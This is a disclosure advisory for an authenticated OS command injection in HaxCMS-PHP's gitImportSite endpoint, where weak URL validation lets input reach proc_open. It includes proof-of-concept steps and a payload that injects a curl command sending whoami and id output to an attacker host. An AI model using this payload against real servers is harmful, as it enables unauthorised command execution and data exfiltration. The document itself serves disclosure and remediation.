HaxCMS-PHP Command Injection Vulnerability

Summary

The 'gitImportSite' functionality obtains a URL string from a POST request and insufficiently validates user input. The ’set_remote’ function later passes this input into ’proc_open’, yielding OS command injection.

Details

The vulnerability exists in the logic of the ’gitImportSite’ function, located in ’Operations.php’. The current implementation only relies on the ’filter_var’ and 'strpos' functions to validate the URL, which is not sufficient to ensure absence of all Bash special characters used for command injection.

Affected Resources

• Operations.php:2103 gitImportSite()
• <domain>/<user>/system/api/gitImportSite

PoC

To replicate this vulnerability, authenticate and send a POST request to the 'gitImportSite' endpoint with a crafted URL in the JSON data. Note, a valid token needs to be obtained by capturing a request to another API endpoint (such as 'archiveSite').

1. Start a webserver.
   

2. Initiate a request to the ’archiveSite’ endpoint.
   

3. Capture and modify the request in BurpSuite.
   

4. Observe command output in the HTTP request from the server.
   

Command Injection Payload

http://<IP>/.git;curl${IFS}<IP>/$(whoami)/$(id)#=abcdef

Impact

An authenticated attacker can craft a URL string that bypasses the validation checks employed by the ’filter_var’ and ’strpos’ functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request.